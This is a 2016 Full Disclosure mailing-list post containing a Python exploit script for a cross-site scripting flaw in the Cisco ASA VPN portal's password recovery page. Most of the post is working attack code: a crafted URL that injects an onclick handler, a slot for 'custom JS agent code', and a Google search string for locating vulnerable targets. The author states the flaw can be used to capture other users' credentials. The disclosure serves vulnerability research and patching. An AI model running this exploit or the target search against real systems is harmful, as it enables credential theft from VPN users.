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Cisco ASA VPN - Zero Day Exploit

# Exploit author: Juan Sacco - jsacco () exploitpack com # Affected program: Cisco ASA VPN Portal - Zero Day # Cisco ASA VPN is prone to a XSS on the password recovery page. # This vulnerability can be used by an attacker to capture other user's credentials. # The password recovery form fails to filter properly the hidden inputs fields. # # This Zero Day exploit has been developed and discovered by Juan Sacco. # Exploit Pack - Team http://exploitpack.com # # Release Dates: # Reported to Cisco PSIRT Feb 4/2016 # Cisco Dev Team working on a fix Feb 15/2016 # Cisco PSIRT report a CVE Feb 15/2016 # Exploit Pack disclose the bug Feb 15/2016 # Disclosure of the Exploit Feb 16/2016 # # Look for vulnerable targets here: https://www.google.nl/#safe=off&q=+%2F%2BCSCOE%2B%2F # More than 18.000 results in Google only import string, sys import socket, httplib import telnetlib def run(): try: Target = sys.argv[1] Port = int(sys.argv[2]) # Here goes your custom JS agent code Payload = "alert(1)" VulnerableURL = "/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=juansacco%22%20accesskey%3dX%20onclick%3d" + Payload + "%20sacco&password_min=0&state=&tgroup=&serverType=0&password_" CraftedRequest = VulnerableURL # Start the connection connection = httplib.HTTPSConnection(Target) connection.request('GET', CraftedRequest) Response = connection.getresponse() print "Server status response:", Response.status, Response.reason data = Response.read() vulnerable = "Target is not vulnerable" for line in str(data).splitlines(): if "juansacco\\\"" in line: vulnerable = "Targer is vulnerable" if vulnerable != "Not vulnerable": print "Result of the test:", vulnerable # Find the injection on the response connection.close() except Exception,e: print "Exploit connection closed " + str(e) if __name__ == '__main__': print "Cisco VPN ASA Exploit - Zero Day" print "################################" print "Author: Juan Sacco - jsacco () exploitpack com" try: Target = sys.argv[1] Port = sys.argv[2] except IndexError: pass run() _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/

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